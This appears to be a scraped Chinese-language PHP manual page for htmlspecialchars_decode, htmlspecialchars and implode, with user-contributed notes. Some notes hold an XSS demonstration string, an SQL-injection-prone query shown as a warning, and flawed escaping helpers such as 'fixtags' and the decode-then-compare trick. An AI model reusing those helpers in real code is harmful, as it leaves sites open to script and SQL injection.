<p>this -> &quot;</p>

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • html_entity_decode() - Convert HTML entities to their corresponding characters
  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表

User Contributed Notes

pinkgothic at gmail dot com 10-Jun-2010 09:24
Keep in mind that you should never trust user input - particularly for "mixed-bag" input containing a combination of plain text and markup or scripting code.

Why?

Well, consider someone sending '&amp;<script>alert('XSS');</script>' to your PHP script:

<?php
$var = "&amp;<script>alert('XSS');</script>";
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var;
?>

Since '&amp;' decodes into '&', (htmlspecialchars_decode($var) == $var) will be -false-, thus returning $var without that it's escaped. In consequence, the script-tags are untouched, and you've just opened yourself to XSS.

There is, unfortunately, no reliable way to determine whether HTML is escaped or not that does not come with this caveat that I know of. Rather than try and catch the case 'I've already encoded this', you are better off avoiding double-escaping by simply escaping the HTML as close to the actual output as you can muster, e.g. in the view in an MVC development structure.
benharold at mac dot com 26-Jan-2009 04:48
or of course:

<?php

$var = "Blue & yellow make green.";

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // outputs Blue &amp; yellow make green.

// you can do it a bunch of times, it still won't screw you!

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // still outputs Blue &amp; yellow make green.

?>

Put it in a function. Add it to the method of some abstract data class.
benharold at mac dot com 26-Jan-2009 01:30
If you use `htmlspecialchars()` to change things like the ampersand (&) into it's HTML equivalent (&amp;), you might run into a situation where you mistakenly pass the same string to the function twice, resulting in things appearing on your website like, as I call it, the ampersanded amp; "&amp;". Clearly nobody want's "&amp;" on his or her web page where there is supposed to be just an ampersand. Here's a quick and easy trick to make sure this doesn't happen:

<?php

$var = "This is a string that could be passed to htmlspecialchars multiple times.";

if (htmlspecialchars_decode($var) == $var) {
    $var = htmlspecialchars($var);
}

echo $var;

?>

Now, if your dealing with text that is a mixed bag (has HTML entities and non-HTML entities) you're on your own.
thomas at xci[ignore_this]teit dot commm 28-Mar-2008 03:03
The example for "htmlspecialchars_decode()" below sadly does not work for all PHP4 versions.

Quote from the PHP manual:
"get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities()."

But it does NOT! At least not for PHP version 4.4.2.
This was already reported in a bug report (http://bugs.php.net/bug.php?id=25927), but it was marked as BOGUS.

Proof:
  Code:
--------------------
<?php
    var_dump(get_html_translation_table(HTML_SPECIALCHARS,ENT_QUOTES));
    var_dump(htmlspecialchars('\'',ENT_QUOTES));
?>
--------------------

  Output:
--------------------
array
  '"' => '&quot;'
  ''' => '&#39;'
  '<' => '&lt;'
  '>' => '&gt;'
  '&' => '&amp;'

'&#039;'
--------------------

This comment now is not to report this bug again (though I really believe it is one), but to complete the example and warn people of this pitfall.

To make sure your htmlspecialchars_decode fake for PHP4 works, you should do something like this:

<?php
    function htmlspecialchars_decode($string,$style=ENT_COMPAT)
    {
        $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
        if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
        return strtr($string,$translation);
    }
?>

Br, Thomas
17-Aug-2006 05:49
This should be the best way to do it.
(Reposted because the other one seems a bit slower and because those who used the code under called it htmlspecialchars_decode_php4)

<?php

if ( !function_exists('htmlspecialchars_decode') )
{
    function htmlspecialchars_decode($text)
    {
        return strtr($text, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
    }
}

?>
or-k at or-k dot com 14-Sep-2005 02:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail 14-Jul-2005 06:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com 14-Jul-2005 06:30
For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>


将特殊字符转换为 HTML 实体

  • ? htmlspecialchars_decode
  • implode ?
  • PHP Manual
  • 字符串 函数
  • 将特殊字符转换为 HTML 实体

htmlspecialchars

(PHP 4, PHP 5, PHP 7, PHP 8)

htmlspecialchars — 将特殊字符转换为 HTML 实体

说明

htmlspecialchars(
string $string,
int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401,
?string $encoding = null,
bool $double_encode = true
): string

某类字符在 HTML 中有特殊用处，如需保持原意，需要用 HTML 实体来表达。 本函数会返回字符转义后的表达。 如需转换子字符串中所有关联的名称实体，使用 htmlentities() 代替本函数。

如果传入字符的字符编码和最终的文档是一致的，则用函数处理的输入适合绝大多数 HTML 文档环境。 然而，如果输入的字符编码和最终包含字符的文档是不一样的， 想要保留字符（以数字或名称实体的形式），本函数以及 htmlentities() （仅编码名称实体对应的子字符串）可能不够用。 这种情况可以使用 mb_encode_numericentity() 代替。

执行转换
字符 | 替换后
& (& 符号) | &amp;
" (双引号) | &quot;，除非设置了 ENT_NOQUOTES
' (单引号) | 设置了 ENT_QUOTES 后， &#039; (如果是 ENT_HTML401) ，或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于) | &lt;
> (大于) | &gt;

参数

string

待转换的 string。

flags

位掩码，由以下某个或多个标记组成，设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。

有效的 flags 常量
常量名称 | 描述
ENT_COMPAT | 会转换双引号，不转换单引号。
ENT_QUOTES | 既转换双引号也转换单引号。
ENT_NOQUOTES | 单/双引号都不转换
ENT_IGNORE | 静默丢弃无效的代码单元序列，而不是返回空字符串。 不建议使用此标记， 因为它» 可能有安全影响。
ENT_SUBSTITUTE | 替换无效的代码单元序列为 Unicode 代替符（Replacement Character）， U+FFFD (UTF-8) 或者 &#xFFFD; (其他)，而不是返回空字符串。
ENT_DISALLOWED | 为文档的无效代码点替换为 Unicode 代替符（Replacement Character）： U+FFFD (UTF-8)，或 &#xFFFD;（其他），而不是把它们留在原处。 比如以下情况下就很有用：要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401 | 以 HTML 4.01 处理代码。
ENT_XML1 | 以 XML 1 处理代码。
ENT_XHTML | 以 XHTML 处理代码。
ENT_HTML5 | 以 HTML 5 处理代码。

encoding

An optional argument defining the encoding used when converting characters.

If omitted, encoding defaults to the value of the default_charset configuration option.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if the default_charset configuration option may be set incorrectly for the given input.

本函数使用效果上，如果 string 对以下字符编码是有效的， ISO-8859-1、 ISO-8859-15、 UTF-8、 cp866、 cp1251、 cp1252、 KOI8-R 将具有相同的效果。 也就是说，在这些编码里， 受 htmlspecialchars() 影响的字符会占据相同的位置。

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

double_encode

关闭 double_encode 时，PHP 不会转换现有的 HTML 实体， 默认是全部转换。

返回值

转换后的 string。

如果指定的编码 encoding 里， string 包含了无效的代码单元序列， 没有设置 ENT_IGNORE 或者 ENT_SUBSTITUTE 标记的情况下，会返回空字符串。

更新日志

版本 | 说明
8.1.0 | flags 从 ENT_COMPAT 变更为 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。

示例

Example #1 htmlspecialchars() 例子

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

注释

Note:

注意，本函数不会转换以上列表以外的实体。 完整转换请参见 htmlentities()。

Note:

如果 flags 的设置模糊易混淆，将遵循以下规则：

  • 当 ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES 都没设置， 默认就是 ENT_NOQUOTES。
  • 如果设置不止一个 ENT_COMPAT、 ENT_QUOTES、 ENT_NOQUOTES ，优先级最高的是 ENT_QUOTES， 其次是 ENT_COMPAT。
  • 当 ENT_HTML401、 ENT_HTML5、 ENT_XHTML、 ENT_XML1 都没设置，默认是 ENT_HTML401。
  • 如果设置不止一个 ENT_HTML401、 ENT_HTML5、 ENT_XHTML、 ENT_XML1， 优先级最高的是 ENT_HTML5 其次是 ENT_XHTML、ENT_XML1 和 ENT_HTML401。
  • 如果设置不止一个 ENT_DISALLOWED、 ENT_IGNORE、 ENT_SUBSTITUTE，优先级最高的是 ENT_IGNORE， 其次是 ENT_SUBSTITUTE。

参见

  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • htmlspecialchars_decode() - 将特殊的 HTML 实体转换回普通字符
  • strip_tags() - 从字符串中去除 HTML 和 PHP 标签
  • htmlentities() - 将字符转换为 HTML 转义字符
  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记

User Contributed Notes

Daniel Klein 06-Jul-2022 11:16
Because the documentation says

int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401

you would think that ENT_HTML401 is important. But as the notes mention, ENT_HTML401 is the default if you don't specify the doc type. This is because ENT_HTML401 === 0. So

int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401

is exactly equivalent to

int $flags = ENT_QUOTES | ENT_SUBSTITUTE
Killian Leroux 16-Mar-2022 10:33
Thanks Thomasvdbulk for your workaround, I would like to add a precision:

When the HTML contains a link tag without new line before the script doesn't work :/

Your example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

Works but this doesn't work:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br /><a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

So I add a little workaround at the beginning (before htmlspecialchars):

<?php
$text = preg_replace('/<a/', "\r\n<a", $text);
?>

I don't like that but I don't find other solution... :/
ASchmidt at Anamera dot net 02-Apr-2021 08:48
One MUST specify ENT_HTML5 in addition to double_encode=false to avoid double-encoding.

The reason is that contrary to the documentation, double_encode=false will NOT unconditionally and globally prevent double-encoding of ALL existing entities. Crucially, it will only skip double-encoding for THOSE character entities that are explicitly valid for the document type chosen!

Since ENT_HTML5 references the most expansive list of character entities, it is the only setting that will be most lenient with existing character entities.

<?php
declare(strict_types=1);
$text = 'ampersand(&amp;), double quote(&quot;), single quote(&apos;), less than(&lt;), greater than(&gt;), numeric entities(&#x26;&#x22;&#x27;&#x3C;&#x3E;), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;&euro;)';
$result3 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );
$result4 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_XML1 | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );
$result5 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_XHTML | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );
$result6 = htmlspecialchars( $text, ENT_NOQUOTES | ENT_HTML5 | ENT_SUBSTITUTE, 'UTF-8', /*double_encode*/false );

echo "<br />\r\nHTML 4.01:<br />\r\n", $result3,
    "<br />\r\nXML 1:<br />\r\n", $result4,
    "<br />\r\nXHTML:<br />\r\n", $result5,
    "<br />\r\nHTML 5:<br />\r\n", $result6, "<br />\r\n";
?>

will produce:

HTML 4.01 (will NOT recognize single quote, but Euro):
ampersand(&), double quote("), single quote(&apos;), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;�)

XML 1 (WILL recognize single quote, but NOT Euro):
ampersand(&), double quote("), single quote('), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;&euro;)

XHTML (recognizes single quote and Euro):
ampersand(&), double quote("), single quote('), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(&plus;&comma;&excl;&dollar;&lpar;&ncedil;�)

HTML 5 (recognizes "all" valid character entities):
ampersand(&), double quote("), single quote('), less than(<), greater than(>), numeric entities(&"'<>), HTML 5 entities(+,!$(?�)
qshing1437 at hotmail dot com 22-Jul-2019 05:11
If you use htmlspecialchars() to escape any HTML attribute, make sure use double quote instead of single quote for the attribute.

For Example,

> Wrap with Single Quote
<?php
echo "<p title='"  . htmlspecialchars("Hello\"s\'world") . "'">

// title will end up Hello"s\ and rest of the text after single quote will be cut off.
?>

> Wrap with Double quote :
<?php
echo '<p title="'  . htmlspecialchars("Hello\"s\'world") . '"'>

// title will show up correctly as Hello"s'world
?>
PoV 17-May-2015 11:59
Be aware of the encoding of your source files!!!

Some of the suggestions here make reference to workarounds where you hard-code an encoding.

<?php
  echo htmlspecialchars('<b>W?rmann</b>');  // Why isn't this working?
?>

As it turns out, it may actually be your text editor that is to blame.

As of PHP 5.4, htmlspecialchars now defaults to the UTF-8 encoding. That said, many text editors default to non-UTF encodings like ISO-8859-1 (i.e. Latin-1) or WIN-1252. If you change the encoding of the file to UTF-8, the code above will now work (i.e. the ? is encoded differently in UTF-8 and ISO-8859-1, and you need the UTF-8 version).

Make sure you are editing in UTF-8 Unicode mode! Check your UI or manual for how to convert files to Unicode. It's also a good idea to figure out where to look in your UI to see what the current file encoding is.
Felix D. 09-Jan-2014 11:00
Another thing important to mention is that
htmlspecialchars(NULL)
returnes an empty string and not NULL!
support at playnext dot ru 03-Oct-2013 08:31
For those having problems after the change of default value of $encoding argument to UTF-8 since PHP 5.4.

If your old non-UTF8 projects ruined - pls consider:
1. http://php.net/manual/en/function.override-function.php
2. http://php.net/manual/ru/function.runkit-function-redefine.php

The idea - you override the built-in htmlspecialchars() function with your customized variant which is able to respect non UTF-8 default encoding. This small piece of code can be then easily inserted somewhere at the start of yout project. No need to rewrite all htmlspecialchars() entries globally.

I've spent several hours with both approaches. Variant 1 looks good especaially in combination with http://www.php.net/manual/en/function.rename-function.php as it allows to call original htmlspecialchars() with just altered default args. The code could be as follows:

<?php
rename_function('htmlspecialchars', 'renamed_htmlspecialchars');
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='cp1251', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    return renamed_htmlspecialchars($string, $flags, $encoding, $double_encode);
}
override_function('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

Unfortunatelly this didn't work for me properly - my site managed to call overriden function but not every time I reloaded the pages. Moreover other PHP sites crashed under my Apache server as they suddenly started blaming htmlspecialchars() was not defined. I suppose I had to spend more time to make it work thread/request/site/whatever-safe.

So I switched to runkit (variant 2). It worked for me, although even after trying runkit_function_rename()+runkit_function_add() I didn't managed to recall original htmlspecialchars() function. So as a quick solution I decided to call htmlentities() instead:

<?php
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='UTF-8', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    $encoding = $encoding ? $encoding : 'cp1251';
    return htmlentities($string, $flags, $encoding, $double_encode);
}
runkit_function_redefine('htmlspecialchars', '$string, $flags, $encoding, $double_encode', 'return overriden_htmlspecialchars($string, $flags, $encoding, $double_encode);');
?>

You may be able to implement your more powerfull overriden function.
Good luck!
Dave 20-Jun-2013 11:59
As of PHP 5.4 they changed default encoding from "ISO-8859-1" to "UTF-8". So if you get null from htmlspecialchars or htmlentities

where you have only set
<?php
echo htmlspecialchars($string);
echo htmlentities($string);
?>

you can fix it by
<?php
echo htmlspecialchars($string, ENT_COMPAT,'ISO-8859-1', true);
echo htmlentities($string, ENT_COMPAT,'ISO-8859-1', true);
?>

On linux you can find the scripts you need to fix by

grep -Rl "htmlspecialchars\\|htmlentities" /path/to/php/scripts/
minder at ufive dot unibe dot ch 19-May-2013 01:06
Problem

In many PHP legacy products the function htmlspecialchars($string) is used to convert characters like < and > and quotes a.s.o to HTML-entities. That avoids the interpretation of HTML Tags and asymmetric quote situations.

Since PHP 5.4 for $string in htmlspecialchars($string) utf8 characters are expected if no charset is defined explicitly as third parameter in the function. Legacy products are mostly in Latin1 (alias iso-8859-1) what makes the functions htmlspecialchars(), htmlentites() and html_entity_decode() to return empty strings if a special character, e. g. a German Umlaut, is present in $string:

PHP<5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('W?rmann') //Output: &lt;b&gt;W?rmann&lt;b&gt;

PHP=5.4

echo htmlspecialchars('<b>Woermann</b>') //Output: &lt;b&gt;Woermann&lt;b&gt;
echo htmlspecialchars('<b>W?rmann</b>') //Output: empty

Three alternative solutions

a) Not runnig legacy products on PHP 5.4
b) Change all find spots in your code from
htmlspecialchars($string) and *** to
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'ISO-8859-1')
c) Replace all htmlspecialchars() and *** with a new self-made function

*** The same is true for htmlentities() and html_entity_decode();

Solution c

1 Make Search and Replace in the concerned legacy project:
Search for:        htmlspecialchars
Replace with:   htmlXspecialchars
Search for:        htmlentities
Replace with:   htmlXentities
Search for:        html_entity_decode
Replace with:   htmlX_entity_decode
2a Copy and paste the following three functions into an existing already everywhere included PHP-file in your legacy project. (of course that PHP-file must be included only once per request, otherwise you will get a Redeclare Function Fatal Error).

function htmlXspecialchars($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlspecialchars($string, $ent, $charset);
}

function htmlXentities($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return htmlentities($string, $ent, $charset);
}

function htmlX_entity_decode($string, $ent=ENT_COMPAT, $charset='ISO-8859-1') {
return html_entity_decode($string, $ent, $charset);
}

or 2b crate a new PHP-file containing the three functions mentioned above, let's say, z. B. htmlXfunctions.inc.php and include it on the first line of every PHP-file in your legacy product like this: require_once('htmlXfunctions.inc.php').
Mike Robinson 14-Mar-2013 12:46
Unfortunately, as far as I can tell, the PHP devs did not provide ANY way to set the default encoding used by htmlspecialchars() or htmlentities(), even though they changed the default encoding in PHP 5.4 (*golf clap for PHP devs*). To save someone the time of trying it, this does not work:

<?php
ini_set('default_charset', $charset); // doesn't work.
?>

Unfortunately, the only way to not have to explicitly provide the second and third parameter every single time this function is called (which gets extremely tedious) is to write your own function as a wrapper:

<?php
define('CHARSET', 'ISO-8859-1');
define('REPLACE_FLAGS', ENT_COMPAT | ENT_XHTML);

function html($string) {
    return htmlspecialchars($string, REPLACE_FLAGS, CHARSET);
}

echo html("?"); // works
?>

You can do the same for htmlentities()
ivan at lutrov dot com 15-Jun-2011 01:30
Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite.
Thomasvdbulk at gmail dot com 28-Dec-2010 10:05
i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text,
the reason is that i recieve text from a database,
wich is inserted by an html form, and contains text and html tags,
the text can contain < and >, so does the tags,
with htmlspecialchars you can validate your text to XHTML,
but you'll also change the tags, like <b> to &lt;b&gt;,
so i needed a script that could see the difference between those two...
but i couldn't find one so i made my own one,
i havent fully tested it, but the parts i tested worked perfect!
just for people that were searching for something like this,
it may looks big, could be done easier, but it works for me, so im happy.

<?php
function fixtags($text){
$text = htmlspecialchars($text);
$text = preg_replace("/=/", "=\"\"", $text);
$text = preg_replace("/&quot;/", "&quot;\"", $text);
$tags = "/&lt;(\/|)(\w*)(\ |)(\w*)([\\\=]*)(?|(\")\"&quot;\"|)(?|(.*)?&quot;(\")|)([\ ]?)(\/|)&gt;/i";
$replacement = "<$1$2$3$4$5$6$7$8$9$10>";
$text = preg_replace($tags, $replacement, $text);
$text = preg_replace("/=\"\"/", "=", $text);
return $text;
}
?>

an example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

will echo:
this is smaller &lt; than this<br />
this is greater &gt; than this<br />
this is the same = as this<br />
<a href="http://www.example.com/example.php?test=test">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...

I hope its helpfull!!
nachitox2000 [at] hotmail [dot] com 01-Jul-2010 05:57
I had problems with spanish special characters. So i think in using htmlspecialchars but my strings also contain HTML.
So I used this :) Hope it help

<?php
function htmlspanishchars($str)
{
    return str_replace(array("&lt;", "&gt;"), array("<", ">"), htmlspecialchars($str, ENT_NOQUOTES, "UTF-8"));
}
?>
Anonymous 18-Sep-2009 10:16
This may seem obvious, but it caused me some frustration. If you try and use htmlspecialchars with the $charset argument set and the string you run it on is not actually the same charset you specify, you get any empty string returned without any notice/warning/error.

<?php

$ok_utf8 = "A valid UTF-8 string";
$bad_utf8 = "An invalid UTF-8 string";

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(0) ""

var_dump(htmlspecialchars($ok_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(20) "A valid UTF-8 string"

?>

So make sure your charsets are consistent

<?php

$bad_utf8 = "An invalid UTF-8 string";

// make sure it's really UTF-8
$bad_utf8 = mb_convert_encoding($bad_utf8, 'UTF-8', mb_detect_encoding($bad_utf8));

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(23) "An invalid UTF-8 string"

?>

I had this problem because a Mac user was submitting posts copy/pasted from a program and it contained weird chars in it.
Anonymous 16-Sep-2009 09:43
Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage...

1. Use htmlspecialchars() to filter text input values for html input tags.  i.e.,

echo '<input name=userdata type=text value="'.htmlspecialchars($data).'" />';

2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e.,

echo '<p>'.htmlentities($data).'</p>';

3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql,

pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'");

This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms.
Kenneth Kin Lum 08-Oct-2008 06:45
if your goal is just to protect your page from Cross Site Scripting (XSS) attack, or just to show HTML tags on a web page (showing <body> on the page, for example), then using htmlspecialchars() is good enough and better than using htmlentities().  A minor point is htmlspecialchars() is faster than htmlentities().  A more important point is, when we use  htmlspecialchars($s) in our code, it is automatically compatible with UTF-8 string.  Otherwise, if we use htmlentities($s), and there happens to be foreign characters in the string $s in UTF-8 encoding, then htmlentities() is going to mess it up, as it modifies the byte 0x80 to 0xFF in the string to entities like &eacute;.  (unless you specifically provide a second argument and a third argument to htmlentities(), with the third argument being "UTF-8").

The reason htmlspecialchars($s) already works with UTF-8 string is that, it changes bytes that are in the range 0x00 to 0x7F to &lt; etc, while leaving bytes in the range 0x80 to 0xFF unchanged.  We may wonder whether htmlspecialchars() may accidentally change any byte in a 2 to 4 byte UTF-8 character to &lt; etc.  The answer is, it won't.  When a UTF-8 character is 2 to 4 bytes long, all the bytes in this character is in the 0x80 to 0xFF range. None can be in the 0x00 to 0x7F range.  When a UTF-8 character is 1 byte long, it is just the same as ASCII, which is 7 bit, from 0x00 to 0x7F.  As a result, when a UTF-8 character is 1 byte long, htmlspecialchars($s) will do its job, and when the UTF-8 character is 2 to 4 bytes long, htmlspecialchars($s) will just pass those bytes unchanged.  So htmlspecialchars($s) will do the same job no matter whether $s is in ASCII, ISO-8859-1 (Latin-1), or UTF-8.
php dot net at orakio dot net 10-Apr-2008 11:26
I was recently exploring some code when I saw this being used to make data safe for "SQL".

This function should not be used to make data SQL safe (although to prevent phishing it is perfectly good).

Here is an example of how NOT to use this function:

<?php
$username = htmlspecialchars(trim("$_POST[username]"));

$uniqueuser = $realm_db->query("SELECT `login` FROM `accounts` WHERE `login` = '$username'");
?>

(Only other check on $_POST['username'] is to make sure it isn't empty which it is after trim on a white space only name)

The problem here is that it is left to default which allows single quote marks which are used in the sql query. Turning on magic quotes might fix it but you should not rely on magic quotes, in fact you should never use it and fix the code instead. There are also problems with \ not being escaped. Even if magic quotes were used there would be the problem of allowing usernames longer than the limit and having some really weird usernames given they are to be used outside of html, this just provide a front end for registering to another system using mysql. Of course using it on the output wouldn;t cause that problem.

Another way to make something of a fix would be to use ENT_QUOTE or do:

<?php
$uniqueuser = $realm_db->query('SELECT `login` FROM `accounts` WHERE `login` = "'.$username.'";');
?>

Eitherway none of these solutions are good practice and are not entirely unflawed. This function should simply never be used in such a fashion.

I hope this will prevent newbies using this function incorrectly (as they apparently do).
solar-energy 16-Jun-2007 03:21
also see function "urlencode()", useful for passing text with ampersand and other special chars through url

(i.e. the text is encoded as if sent from form using GET method)

e.g.

<?php
echo "<a href='foo.php?text=".urlencode("foo?&bar!")."'>link</a>";
?>

produces

<a href='foo.php?text=foo%3F%26bar%21'>link</a>

and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!"
11-Mar-2005 04:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
_____ at luukku dot com 14-Sep-2002 02:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
ryan at ryano dot net 29-Jun-2001 03:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);


用字符串连接数组元素

  • ? htmlspecialchars
  • join ?
  • PHP Manual
  • 字符串 函数
  • 用字符串连接数组元素

implode

(PHP 4, PHP 5, PHP 7, PHP 8)

implode — 用字符串连接数组元素

说明

implode(string $separator, array $array): string

替代写法（不支持命名参数）：

implode(array $array): string

遗留写法（从 PHP 7.4.0 起废弃，从 PHP 8.0.0 中移除）：

implode(array $array, string $separator): string

用一个 separator 字符串连接数组元素。

参数

separator

可选。默认为空字符串。

array

要使用字符串连接的数组。

返回值

返回一个包含所有数组元素并且顺序相同的字符串， 每个元素之间有 separator 分隔。

更新日志

版本 | 说明
8.0.0 | 在 array 之后传递 separator 已不再支持。
7.4.0 | 在 array 之后传递 separator （即：使用遗留写法）已被废弃。

示例

Example #1 implode() 例子

<?php

$array = ['lastname', 'email', 'phone'];
var_dump(implode(",", $array)); // string(20) "lastname,email,phone"

// Empty string when using an empty array:
var_dump(implode('hello', [])); // string(0) ""

// The separator is optional:
var_dump(implode(['a', 'b', 'c'])); // string(3) "abc"

?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • explode() - 使用一个字符串分割另一个字符串
  • preg_split() - 通过一个正则表达式分隔字符串
  • http_build_query() - 生成 URL-encode 之后的请求字符串

User Contributed Notes

info AT sinistercircuits DOT com 13-Nov-2021 03:36
There is no mention of behavior on a empty array, so I tried it and here's the result:

<?php
$ar = array();
$result = implode(',', $ar);  // Comma arbitrarily applied as the separator
$is_result_empty = empty($result);
?>

$result:
$is_result_empty: 1

In other words, an empty string is the result.
biziclop 09-Apr-2021 10:30
Sometimes it's necessary to add a string not just between the items, but before or after too, and proper handling of zero items is also needed.
In this case, simply prepending/appending the separator next to implode() is not enough, so I made this little helper function.

<?php

function wrap_implode( $array, $before = '', $after = '', $separator = '' ){
  if( ! $array )  return '';
  return $before . implode("{$after}{$separator}{$before}", $array ) . $after;
}

echo wrap_implode(['path','to','file.php'], '/');
// "/path/to/file.php"

$pattern = '#'. wrap_implode([4,2,2], '\d{', '}', '[-.]') .'#';
echo $pattern, "\n";  // #\d{4}[-.]\d{2}[-.]\d{2}#
echo preg_replace( $pattern, '[REDACTED]', 'The UFO appeared between 2012-12-24 and 2013.01.06 every night.');
// 'The UFO appeared between [REDACTED] and [REDACTED] every night.

echo wrap_implode(['line','by','line'], '<b>', '</b>', '<br>  ');
// <b>line</b><br>  <b>by</b><br>  <b>line</b>

